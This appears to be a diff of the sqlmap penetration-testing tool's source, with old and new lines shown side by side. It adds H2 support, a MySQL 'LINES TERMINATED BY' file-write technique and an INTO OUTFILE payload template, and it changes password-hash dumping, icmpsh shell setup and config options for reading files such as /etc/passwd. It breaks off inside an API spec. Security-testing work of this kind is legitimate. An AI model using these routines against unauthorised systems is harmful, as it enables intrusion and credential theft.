tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl)
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
if bruteForce:
resumeAvailable = False
@@ -268,7 +264,7 @@ class Enumeration(GenericEnumeration):
if dumpMode and colList:
table = {}
table[safeSQLIdentificatorNaming(tbl)] = dict((_, None) for _ in colList)
table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList)
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
continue
@@ -278,18 +274,17 @@ class Enumeration(GenericEnumeration):
logger.info(infoMsg)
for blind in blinds:
randStr = randomStr()
query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.usertype' % randStr], blind=blind)
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.usertype' % kb.aliasName], blind=blind, alias=kb.aliasName)
if retVal:
table = {}
columns = {}
for name, type_ in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.usertype" % randStr])):
for name, type_ in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.usertype" % kb.aliasName])):
columns[name] = SYBASE_TYPES.get(int(type_) if isinstance(type_, basestring) and type_.isdigit() else type_, type_)
table[safeSQLIdentificatorNaming(tbl)] = columns
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
break
+1 -1
View File
@@ -46,7 +46,7 @@ class Fingerprint(GenericFingerprint):
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"]
banVer = kb.bannerFp.get("dbmsVersion")
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+5 -3
View File
@@ -20,6 +20,7 @@ class Connector:
def __init__(self):
self.connector = None
self.cursor = None
self.hostname = None
def initConnection(self):
self.user = conf.dbmsUser or ""
@@ -34,9 +35,10 @@ class Connector:
logger.info(infoMsg)
def closed(self):
infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname)
infoMsg += ":%d closed" % self.port
logger.info(infoMsg)
if self.hostname:
infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname)
infoMsg += ":%d closed" % self.port
logger.info(infoMsg)
self.connector = None
self.cursor = None
+1
View File
@@ -88,6 +88,7 @@ class Custom:
try:
query = raw_input("sql-shell> ")
query = getUnicode(query, encoding=sys.stdin.encoding)
query = query.strip("; ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
+29 -19
View File
@@ -261,24 +261,28 @@ class Databases:
rootQuery = queries[Backend.getIdentifiedDbms()].tables
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
query = rootQuery.inband.query
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
values = []
if condition:
if not Backend.isDbms(DBMS.SQLITE):
query += " WHERE %s" % condition
for query, condition in ((rootQuery.inband.query, getattr(rootQuery.inband, "condition", None)), (getattr(rootQuery.inband, "query2", None), getattr(rootQuery.inband, "condition2", None))):
if not isNoneValue(values) or not query:
break
if conf.excludeSysDbs:
infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
logger.info(infoMsg)
query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList)
else:
query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))
if condition:
if not Backend.isDbms(DBMS.SQLITE):
query += " WHERE %s" % condition
if len(dbs) < 2 and ("%s," % condition) in query:
query = query.replace("%s," % condition, "", 1)
if conf.excludeSysDbs:
infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList))
logger.info(infoMsg)
query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList)
else:
query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs))
values = inject.getValue(query, blind=False, time=False)
if len(dbs) < 2 and ("%s," % condition) in query:
query = query.replace("%s," % condition, "", 1)
if query:
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
values = filter(None, arrayizeValue(values))
@@ -434,7 +438,7 @@ class Databases:
raise SqlmapNoneDataException(errMsg)
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
conf.db = conf.db.upper()
if ',' in conf.db:
@@ -461,7 +465,7 @@ class Databases:
colList = filter(None, colList)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(',')
@@ -565,7 +569,7 @@ class Databases:
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
@@ -601,6 +605,8 @@ class Databases:
if values is None:
values = inject.getValue(query, blind=False, time=False)
if values and isinstance(values[0], basestring):
values = [values]
if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
index, values = 1, []
@@ -691,7 +697,7 @@ class Databases:
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
@@ -755,6 +761,10 @@ class Databases:
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
field = None
elif Backend.isDbms(DBMS.H2):
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery)
field = None
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
query += condQuery
@@ -794,7 +804,7 @@ class Databases:
singleTimeWarnMessage(warnMsg)
if not onlyColNames:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
+5 -8
View File
@@ -67,7 +67,7 @@ class Entries:
conf.db = self.getCurrentDb()
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
conf.db = conf.db.upper()
if ',' in conf.db:
@@ -83,7 +83,7 @@ class Entries:
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(',')
@@ -129,10 +129,7 @@ class Entries:
else:
kb.dumpTable = "%s.%s" % (conf.db, tbl)
if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
or safeSQLIdentificatorNaming(tbl, True) not in \
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \
or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
warnMsg = "unable to enumerate the columns for table "
warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl)
warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
@@ -229,7 +226,7 @@ class Entries:
entries = zip(*[entries[colName] for colName in colList])
else:
query = rootQuery.inband.query % (colString, conf.db, tbl)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
else:
query = rootQuery.inband.query % (colString, conf.db, tbl)
@@ -402,7 +399,7 @@ class Entries:
if column not in entries:
entries[column] = BigArray()
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)
+8 -2
View File
@@ -284,17 +284,23 @@ class Filesystem:
if conf.direct or isStackingAvailable():
if isStackingAvailable():
debugMsg = "going to upload the file '%s' with " % fileType
debugMsg += "stacked query SQL injection technique"
debugMsg += "stacked query technique"
logger.debug(debugMsg)
written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
self.cleanup(onlyFileTbl=True)
elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
debugMsg = "going to upload the file '%s' with " % fileType
debugMsg += "UNION query SQL injection technique"
debugMsg += "UNION query technique"
logger.debug(debugMsg)
written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck)
elif Backend.isDbms(DBMS.MYSQL):
debugMsg = "going to upload the file '%s' with " % fileType
debugMsg += "LINES TERMINATED BY technique"
logger.debug(debugMsg)
written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck)
else:
errMsg = "none of the SQL injection techniques detected can "
errMsg += "be used to write files to the underlying file "
+9 -4
View File
@@ -60,7 +60,7 @@ class Search:
values = []
db = safeSQLIdentificatorNaming(db)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
db = db.upper()
infoMsg = "searching database"
@@ -167,8 +167,9 @@ class Search:
values = []
tbl = safeSQLIdentificatorNaming(tbl, True)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
tbl = tbl.upper()
conf.db = conf.db.upper() if conf.db else conf.db
infoMsg = "searching table"
if tblConsider == '1':
@@ -303,7 +304,9 @@ class Search:
for index in indexRange:
query = rootQuery.blind.query2
if query.endswith("'%s')"):
if " ORDER BY " in query:
query = query.replace(" ORDER BY ", "%s ORDER BY " % (" AND %s" % tblQuery))
elif query.endswith("'%s')"):
query = query[:-1] + " AND %s)" % tblQuery
else:
query += " AND %s" % tblQuery
@@ -387,8 +390,10 @@ class Search:
conf.db = origDb
conf.tbl = origTbl
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
column = column.upper()
conf.db = conf.db.upper() if conf.db else conf.db
conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl
infoMsg = "searching column"
if colConsider == "1":
+12 -7
View File
@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
import os
from lib.core.common import Backend
from lib.core.common import getSafeExString
from lib.core.common import isStackingAvailable
from lib.core.common import readInput
from lib.core.common import runningAsAdmin
@@ -20,6 +21,7 @@ from lib.core.exception import SqlmapMissingDependence
from lib.core.exception import SqlmapMissingMandatoryOptionException
from lib.core.exception import SqlmapMissingPrivileges
from lib.core.exception import SqlmapNotVulnerableException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUndefinedMethod
from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.takeover.abstraction import Abstraction
@@ -125,20 +127,23 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
raise SqlmapMissingPrivileges(errMsg)
try:
from impacket import ImpactDecoder
from impacket import ImpactPacket
__import__("impacket")
except ImportError:
errMsg = "sqlmap requires 'python-impacket' third-party library "
errMsg += "in order to run icmpsh master. You can get it at "
errMsg += "http://code.google.com/p/impacket/downloads/list"
raise SqlmapMissingDependence(errMsg)
sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
if os.path.exists(sysIgnoreIcmp):
fp = open(sysIgnoreIcmp, "wb")
fp.write("1")
fp.close()
if os.path.exists(filename):
try:
with open(filename, "wb") as f:
f.write("1")
except IOError, ex:
errMsg = "there has been a file opening/writing error "
errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
else:
errMsg = "you need to disable ICMP replies by your machine "
errMsg += "system-wide. For example run on Linux/Unix:\n"
+6 -7
View File
@@ -19,7 +19,6 @@ from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
from lib.core.common import parsePasswordHash
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import unArrayizeValue
from lib.core.convert import hexencode
@@ -187,13 +186,12 @@ class Users:
query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
if Backend.isDbms(DBMS.SYBASE):
randStr = randomStr()
getCurrentThreadData().disableStdOut = True
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False)
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False)
if retVal:
for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
for user, password in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
@@ -228,13 +226,12 @@ class Users:
if Backend.isDbms(DBMS.SYBASE):
getCurrentThreadData().disableStdOut = True
randStr = randomStr()
query = rootQuery.inband.query
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True)
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True)
if retVal:
for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
for user, password in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
password = "0x%s" % hexencode(password, conf.encoding).upper()
if user not in kb.data.cachedUsersPasswords:
@@ -288,6 +285,8 @@ class Users:
query = rootQuery.blind.query % (user, index, user)
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query % (user,)
elif Backend.isDbms(DBMS.HSQLDB):
query = rootQuery.blind.query % (index, user)
else:
query = rootQuery.blind.query % (user, index)
+1 -1
View File
@@ -1 +1 @@
LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%--
LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- -
+10 -10
View File
@@ -43,16 +43,16 @@ sitemapUrl =
# Force usage of given HTTP method (e.g. PUT).
method =
# Data string to be sent through POST.
# Data string to be sent through POST (e.g. "id=1").
data =
# Character used for splitting parameter values.
# Character used for splitting parameter values (e.g. &).
paramDel =
# HTTP Cookie header value.
# HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..").
cookie =
# Character used for splitting cookie values.
# Character used for splitting cookie values (e.g. ;).
cookieDel =
# File containing cookies in Netscape/wget format.
@@ -98,7 +98,7 @@ authCred =
# Syntax: key_file
authFile =
# Ignore HTTP error code (e.g. 401).
# Ignore (problematic) HTTP error code (e.g. 401).
# Valid: integer
ignoreCode =
@@ -579,15 +579,15 @@ shLib =
# Read a specific file from the back-end DBMS underlying file system.
# Examples: /etc/passwd or C:\boot.ini
rFile =
fileRead =
# Write a local file to a specific path on the back-end DBMS underlying
# file system.
# Example: /tmp/sqlmap.txt or C:\WINNT\Temp\sqlmap.txt
wFile =
fileWrite =
# Back-end DBMS absolute filepath to write the file to.
dFile =
fileDest =
# These options can be used to access the back-end database management
@@ -746,7 +746,7 @@ updateAll = False
# Run host OS command(s) when SQL injection is found.
alert =
# Set question answers (e.g. "quit=N,follow=N").
# Set predefined answers (e.g. "quit=N,follow=N").
answers =
# Beep on question and/or when SQL injection is found.
@@ -761,7 +761,7 @@ checkPayload = False
# Valid: True or False
cleanup = False
# Check for missing (non-core) sqlmap dependencies.
# Check for missing (optional) sqlmap dependencies.
# Valid: True or False
dependencies = False
+61 -59
View File
@@ -5,37 +5,37 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import sys
sys.dont_write_bytecode = True
try:
__import__("lib.utils.versioncheck") # this has to be the first non-standard import
except ImportError:
exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details")
import sys
import bdb
import distutils
import glob
import inspect
import json
import logging
import os
import re
import shutil
import sys
import thread
import threading
import time
import traceback
import warnings
sys.dont_write_bytecode = True
warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning)
warnings.filterwarnings(action="ignore", category=DeprecationWarning)
try:
__import__("lib.utils.versioncheck") # this has to be the first non-standard import
except ImportError:
exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details")
from lib.core.data import logger
import bdb
import distutils
import glob
import inspect
import json
import logging
import os
import re
import shutil
import sys
import thread
import threading
import time
import traceback
import warnings
warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning)
warnings.filterwarnings(action="ignore", category=DeprecationWarning)
from lib.core.data import logger
try:
from lib.core.common import banner
from lib.core.common import checkIntegrity
from lib.core.common import createGithubIssue
@@ -67,9 +67,13 @@ try:
from lib.parse.cmdline import cmdLineParser
except KeyboardInterrupt:
errMsg = "user aborted"
logger.error(errMsg)
raise SystemExit
if "logger" in globals():
logger.critical(errMsg)
raise SystemExit
else:
import time
exit("\r[%s] [CRITICAL] %s" % (time.strftime("%X"), errMsg))
def modulePath():
"""
@@ -137,7 +141,7 @@ def main():
conf.showTime = True
dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True)
dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"), forceOutput=True)
dataToStdout("[*] starting @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True)
init()
@@ -192,7 +196,7 @@ def main():
errMsg = "user aborted"
try:
logger.error(errMsg)
logger.critical(errMsg)
except KeyboardInterrupt:
pass
@@ -230,60 +234,65 @@ def main():
dataToStdout(excMsg)
raise SystemExit
elif any(_ in excMsg for _ in ("ImportError", "Can't find file for module")):
errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip()
logger.critical(errMsg)
raise SystemExit
elif "MemoryError" in excMsg:
errMsg = "memory exhaustion detected"
logger.error(errMsg)
logger.critical(errMsg)
raise SystemExit
elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded")):
errMsg = "no space left on output device"
logger.error(errMsg)
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in ("No such file", "_'", "self.get_prog_name()")):
errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1]
errMsg += "You should retrieve the latest development version from official GitHub "
errMsg += "repository at '%s'" % GIT_PAGE
logger.error(errMsg)
logger.critical(errMsg)
raise SystemExit
elif "Read-only file system" in excMsg:
errMsg = "output device is mounted as read-only"
logger.error(errMsg)
logger.critical(errMsg)
raise SystemExit
elif "OperationalError: disk I/O error" in excMsg:
errMsg = "I/O error on output device"
logger.error(errMsg)
logger.critical(errMsg)
raise SystemExit
elif "Violation of BIDI" in excMsg:
errMsg = "invalid URL (violation of Bidi IDNA rule - RFC 5893)"
logger.error(errMsg)
logger.critical(errMsg)
raise SystemExit
elif "_mkstemp_inner" in excMsg:
errMsg = "there has been a problem while accessing temporary files"
logger.error(errMsg)
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in ("twophase", "sqlalchemy")):
errMsg = "please update the 'sqlalchemy' package (>= 1.1.11) "
errMsg += "(Reference: https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe)"
logger.error(errMsg)
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in ("scramble_caching_sha2", "TypeError")):
errMsg = "please downgrade the 'PyMySQL' package (=< 0.8.1) "
errMsg += "(Reference: https://github.com/PyMySQL/PyMySQL/issues/700)"
logger.error(errMsg)
logger.critical(errMsg)
raise SystemExit
elif "must be pinned buffer, not bytearray" in excMsg:
errMsg = "error occurred at Python interpreter which "
errMsg += "is fixed in 2.7.x. Please update accordingly "
errMsg += "(Reference: https://bugs.python.org/issue8104)"
logger.error(errMsg)
logger.critical(errMsg)
raise SystemExit
elif "can't start new thread" in excMsg:
@@ -291,34 +300,26 @@ def main():
errMsg += "Please make sure that you are not running too many processes"
if not IS_WIN:
errMsg += " (or increase the 'ulimit -u' value)"
logger.error(errMsg)
logger.critical(errMsg)
raise SystemExit
elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")):
errMsg = "there has been a problem in enumeration. "
errMsg += "Because of a considerable chance of false-positive case "
errMsg += "you are advised to rerun with switch '--flush-session'"
logger.error(errMsg)
logger.critical(errMsg)
raise SystemExit
elif all(_ in excMsg for _ in ("pymysql", "configparser")):
errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)"
logger.error(errMsg)
logger.critical(errMsg)
raise SystemExit
elif "bad marshal data (unknown type code)" in excMsg:
match = re.search(r"\s*(.+)\s+ValueError", excMsg)
errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "")
errMsg += ". Please delete .pyc files on your system to fix the problem"
logger.error(errMsg)
raise SystemExit
elif "url = url.strip()" in excMsg:
dataToStdout(excMsg)
print
errMsg = "please contact '[email protected]' with details for this issue "
errMsg += "as he is trying to reproduce it for long time"
logger.error(errMsg)
logger.critical(errMsg)
raise SystemExit
elif kb.get("dumpKeyboardInterrupt"):
@@ -356,7 +357,7 @@ def main():
kb.threadContinue = False
if conf.get("showTime"):
dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True)
dataToStdout("\n[*] ending @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True)
kb.threadException = True
@@ -380,12 +381,6 @@ def main():
with openFile(conf.harFile, "w+b") as f:
json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))
if cmdLineOptions.get("sqlmapShell"):
cmdLineOptions.clear()
conf.clear()
kb.clear()
main()
if conf.get("api"):
try:
conf.databaseCursor.disconnect()
@@ -400,6 +395,13 @@ def main():
_ = time.time()
while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
time.sleep(0.01)
if cmdLineOptions.get("sqlmapShell"):
cmdLineOptions.clear()
conf.clear()
kb.clear()
conf.disableBanner = True
main()
except KeyboardInterrupt:
pass
finally:
+2 -2
View File
@@ -40,8 +40,8 @@ def main():
# Parse command line options
apiparser = optparse.OptionParser()
apiparser.add_option("-s", "--server", help="Act as a REST-JSON API server", default=RESTAPI_DEFAULT_PORT, action="store_true")
apiparser.add_option("-c", "--client", help="Act as a REST-JSON API client", default=RESTAPI_DEFAULT_PORT, action="store_true")
apiparser.add_option("-s", "--server", help="Run as a REST-JSON API server", default=RESTAPI_DEFAULT_PORT, action="store_true")
apiparser.add_option("-c", "--client", help="Run as a REST-JSON API client", default=RESTAPI_DEFAULT_PORT, action="store_true")
apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS, action="store")
apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type="int", action="store")
apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="store")
+460
View File
@@ -0,0 +1,460 @@
# Note: written with Swagger Editor (https://editor.swagger.io/)
swagger: "2.0"
info:
description: ""
version: "1.2"
title: "sqlmap API"
contact:
email: "[email protected]"
license:
name: "GPL 2.0"
url: "https://www.gnu.org/licenses/old-licenses/gpl-2.0.html"
host: "0.0.0.0:8775"
basePath: "/"
tags:
- name: "task"
description: "Task management functions"
- name: "admin"
description: "Task administration functions"
- name: "option"
description: "Task option handling functions"
schemes:
- "http"
paths:
/task/new:
get:
tags:
- "task"
summary: "Create a new task"
description: ""
operationId: "taskNew"
produces:
- "application/json"
parameters: []
responses:
200:
description: "Task successfully created"
schema:
type: object
properties:
success:
type: boolean
taskid:
type: string
example: "7e605b5d5a892b74"
/task/{taskid}/delete:
get:
tags:
- "task"
summary: "Delete an existing task"
description: ""
operationId: "taskDelete"
produces:
- "application/json"
parameters:
- name: "taskid"
in: "path"
description: "ID of an existing task to delete"
required: true
type: "string"
responses:
200:
description: "Task successfully deleted"
schema:
type: object
properties:
success:
type: boolean
enum: [true]
404:
description: "Task ID not found"
schema:
type: object
properties:
success:
type: boolean
enum: [false]
message:
type: string
enum: ["Non-existing task ID"]
/admin/list:
get:
tags:
- "admin"
summary: "Pull task list (locally)"
description: "Note: Use in cases when connecting to server from same IP (e.g. `localhost`)"
operationId: "adminList"
produces:
- "application/json"
responses:
200:
description: "Task list successfully pulled"
schema:
type: object
properties:
success:
type: boolean
enum: [true]
tasks:
type: object
additionalProperties:
type: string
example:
16a7a898e8eaaf45: running
644fc063408e4f12: not running
8e2eb10770d913cd: not running
d59d1c69bdc06933: not running
tasks_num:
type: integer
example: 4
/admin/{token}/list:
get:
tags:
- "admin"
summary: "Pull task list (remotely)"
description: "Note: Use in cases when connecting to server from different IP"
operationId: "adminListToken"
produces:
- "application/json"
parameters:
- name: "token"
in: "path"
description: "Secret token (Note: written to console during a server run - e.g. `2756d5b6e7d093ba49b5fd06a93aca7a`)"
required: true
type: "string"
responses:
200:
description: "Task list successfully pulled"
schema:
type: object
properties:
success:
type: boolean
enum: [true]
tasks:
type: object
additionalProperties:
type: string
example:
5c911efa476b55f4: not running
5ee038e153ffc534: not running
e58c7a4de6bf7f51: not running
tasks_num:
type: integer
example: 4
/admin/flush:
get:
tags:
- "admin"
summary: "Flush task pool (locally)"
description: "Note: Use in cases when connecting to server from same IP (e.g. `localhost`)"
operationId: "adminFlush"
produces:
- "application/json"
responses:
200:
description: "Task pool successfully flushed"
schema:
type: object
properties:
success:
type: boolean
enum: [true]
/admin/{token}/flush:
get:
tags:
- "admin"
summary: "Flush task pool (remotely)"
description: "Note: Use in cases when connecting to server from different IP"
operationId: "adminFlushToken"
produces:
- "application/json"
parameters:
- name: "token"
in: "path"
description: "Secret token (Note: written to console during a server run - e.g. `2756d5b6e7d093ba49b5fd06a93aca7a`)"
required: true
type: "string"
responses:
200:
